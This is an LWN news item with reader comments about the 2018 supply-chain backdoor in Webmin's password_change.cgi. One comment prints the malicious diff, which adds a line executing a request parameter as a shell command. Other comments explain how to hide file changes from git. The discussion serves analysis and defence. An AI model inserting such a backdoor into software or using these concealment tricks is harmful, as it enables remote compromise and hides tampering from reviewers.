Backdoors in Webmin

[Posted August 22, 2019 by corbet]

Anybody using Webmin, a web-based system-administration tool, will want to update now, as it turns out that the system has been backdoored for over a year. "At some time in April 2018, the Webmin development build server was exploited and a vulnerability added to the password_change.cgi script. Because the timestamp on the file was set back, it did not show up in any Git diffs. This was included in the Webmin 1.890 release."

(Log in to post comments)

Backdoors in Webmin

Posted Aug 22, 2019 14:14 UTC (Thu) by jspenguin (guest, #120333) [Link]

I don't know if I'd trust this tool at all if the authors can't even bother to support HTTPS on their own site.

Backdoors in Webmin

Posted Aug 22, 2019 14:29 UTC (Thu) by songmaster (subscriber, #1748) [Link]

Git uses time stamps to detect changed files? Something doesn’t sound right there to me...

Backdoors in Webmin

Posted Aug 22, 2019 15:01 UTC (Thu) by wodny (subscriber, #73045) [Link]

I think that it's the only way to do it efficiently (using it as a primary filter). A thread on SO[1] gives a command to check metadata known by git: `git ls-files --debug`. It includes the change date that is not manageable by a user (eg. by touch). I've done a test modifying file contents using:
- hdparm --fibmap file
- hexedit file
- sync; echo 3 > /proc/sys/vm/drop_caches

It fooled git. `cat` shows new content, `git diff` shows nothing.

[1]: https://stackoverflow.com/questions/4075528/what-algorith...

Backdoors in Webmin

Posted Aug 22, 2019 15:47 UTC (Thu) by mgedmin (subscriber, #34497) [Link]

So the timestamp _and_ file size must have been the same to avoid detection?

Now I'm curious about what the malicious change looked like.

Backdoors in Webmin

Posted Aug 22, 2019 15:57 UTC (Thu) by mgedmin (subscriber, #34497) [Link]

Here's the diff:

$ diff -u webmin-1.{881,890}/password_change.cgi
--- webmin-1.881/password_change.cgi 2018-03-16 05:06:29.000000000 +0200
+++ webmin-1.890/password_change.cgi 2018-07-15 22:02:34.000000000 +0300
@@ -2,14 +2,14 @@
# password_change.cgi
# Actually update a user's password by directly modifying /etc/shadow

-BEGIN { push(@INC, ".."); };
+BEGIN { push(@INC, "."); };
use WebminCore;

$ENV{'MINISERV_INTERNAL'} || die "Can only be called by miniserv.pl";
&init_config();
&ReadParse();
&get_miniserv_config(\%miniserv);
-$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
+$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;

# Validate inputs
$in{'new1'} ne '' || &pass_error($text{'password_enew1'});

File size changes by one byte:

$ ls -l webmin-1.{881,890}/password_change.cgi
-rwxr-xr-x 1 mg mg 7218 kov. 16 2018 webmin-1.881/password_change.cgi
-rwxr-xr-x 1 mg mg 7217 liep. 15 2018 webmin-1.890/password_change.cgi

but maybe there were some changes committed to git that were not present in the 1.881 tarball (that ".." vs "." thing at the top)?

Backdoors in Webmin

Posted Aug 22, 2019 20:31 UTC (Thu) by wodny (subscriber, #73045) [Link]

> So the timestamp _and_ file size must have been the same to avoid detection?

See https://github.com/git/git/blob/e13966d5a1695ba7feedb0bad....

Backdoors in Webmin

Posted Aug 22, 2019 20:25 UTC (Thu) by wodny (subscriber, #73045) [Link]

And BTW, there could also be core.trustctime = false set so all the fun with editing the block device wouldn't be needed.

Backdoors in Webmin

Posted Aug 23, 2019 0:51 UTC (Fri) by ILMostro (guest, #105083) [Link]

Interesting,

I wonder if something like "--no-assume-unchanged" would be a workaround for that; unless that's only applicable for the "assume-unchanged" option.

That seems to be related, according to `git-update-index(1)`.

Backdoors in Webmin

Posted Aug 26, 2019 20:52 UTC (Mon) by jwilk (subscriber, #63328) [Link]

You don't even need to play with timestamps. You can ask git to pretend not to see the changes:

git update-index --assume-unchanged password_change.cgi

Backdoors in Webmin

Posted Aug 27, 2019 7:49 UTC (Tue) by wodny (subscriber, #73045) [Link]

True. I was referring to the part of the report about the timestamp being set back.

Backdoors in Webmin

Posted Aug 24, 2019 22:29 UTC (Sat) by quotemstr (subscriber, #45331) [Link]

A combination of file content checks upon first touching a repository with something like watchman [1] for noticing changes during development would give you the best of both worlds without having to rely on mtime.

[1] https://facebook.github.io/watchman/docs/install.html

Backdoors in Webmin

Posted Aug 22, 2019 18:16 UTC (Thu) by epa (subscriber, #39769) [Link]

Could filesystems support some kind of 'secure mode' where it's impossible to set the timestamp on a file except by setting it to the current time? And only root can change the time on the system. So that would make it more difficult to tamper with files if you're not root. And in my experience, needing to set the timestamp is a rare operation (it would be no hardship if unpacking a zipfile made all the files with the current time).

Backdoors in Webmin

Posted Aug 22, 2019 20:40 UTC (Thu) by Karellen (subscriber, #67644) [Link]

It would break POSIX guarantees in a number of ways, which are probably relied upon by a number of programs, in ways that maybe even the program authors might not realise on first glance.

Look back at the discussions that happened around the introduction of noatime/relatime regarding the use of the "atime" timestamp, which I would guess is used a couple of orders of magnitude less frequently than "mtime", and which ended up causing a non-trivial amount of pain for mutt users.

Backdoors in Webmin

Posted Aug 22, 2019 20:51 UTC (Thu) by nybble41 (subscriber, #55106) [Link]

Checking ctime and mtime together is already a fairly reliable way to detect modification. Users can set mtime and atime but that causes ctime to be set to the current system time.

Backdoors in Webmin

Posted Aug 26, 2019 19:22 UTC (Mon) by k8to (subscriber, #15413) [Link]

I'm not sure that it's meaningful to prevent tampering with timestamps in environments where you want to permit tampering with files.

If you have those slices of security concerns, I would think an audit log that's streamed off the system would be a better choice.

Backdoors in Webmin

Posted Aug 22, 2019 15:52 UTC (Thu) by basmevissen (subscriber, #54935) [Link]

That's why an internet facing control panel should imho always have another level of protection. For example by using authentication/authorization at http server level or using SPA port knocking before opening the port at the firewall level.

Backdoors in Webmin

Posted Aug 22, 2019 18:12 UTC (Thu) by wodny (subscriber, #73045) [Link]

How is this relevant? Do you state that the Webmin build server was exploited using the Webmin itself?

Backdoors in Webmin

Posted Aug 22, 2019 19:01 UTC (Thu) by pbonzini (subscriber, #60935) [Link]

No, he's saying that if this vulnerability is exploitable, the user was not really doing it right anyway. Not unlike the myriad of printers or cameras that you can find on Google, a web admin interface should never be protected only with a password from public access.

Backdoors in Webmin

Posted Aug 23, 2019 9:23 UTC (Fri) by basmevissen (subscriber, #54935) [Link]

More importantly, never relying only on a web admin interface, even if that interface offers 2FA. There have been too many vulnerabilities in the past.

Backdoors in Webmin

Posted Aug 23, 2019 13:54 UTC (Fri) by wazoox (subscriber, #69624) [Link]

That's all fine and dandy, but you don't seem to know any actual user or customer. They *demand* graphic UI, and they more and more *demand* Web UI. Furthermore, Webmin still remains, albeit its awful shortcomings, albeit Cockpit and other attempts at administrative UIs, the only quasi-complete interface. You can mange all and every aspect of your systems with it (Network, Samba, iSCSI, NFS, Apache, NGinx, VSFTPd, ProFTPd, etc).

Backdoors in Webmin

Posted Aug 23, 2019 14:26 UTC (Fri) by basmevissen (subscriber, #54935) [Link]

I'm not arguing against web panels itself. I only say that one should add another level of protection before being presented the usual username/password and recover password prompt of the web panel. I actually use webmin (and ispconfig), but both have extra protection in the form of http server login or SPA (opening the port at the firewall) to make sure I'm not vulnerable to issues like the subject of the article.

Backdoors in Webmin

Posted Aug 23, 2019 9:40 UTC (Fri) by Grimthorpe (subscriber, #106147) [Link]

Is there a reason for a build machine to have a cached copy of the git repository?

I now always make releases from a newly checked out repository to ensure that what I release is exactly what's in source control, having been burnt too many times by finding changes that haven't been committed back.

Backdoors in Webmin

Posted Aug 25, 2019 18:04 UTC (Sun) by meyert (subscriber, #32097) [Link]

But the relevant commit should diff to the parent, shouldn't it? git log --patch should show all changes independent of any time stamps, shouldn't it?!

Backdoors in Webmin

Posted Aug 26, 2019 14:18 UTC (Mon) by mathstuf (subscriber, #69389) [Link]

It wasn't a commit though. The index was told "the working tree is fine" which caches the on-disk mtimes to elide content checking when running `git status` or `git diff` for the working tree.

We do this in our internal robot's git check logic in order to "check out" a repository into a working tree while not touching the disk. This allows us to only drop the files onto the disk that need to be there. This includes files being reformatted, conflict resolution files, etc. Very useful, but not something I would actually use for development or CI builds (the things are very ephemeral).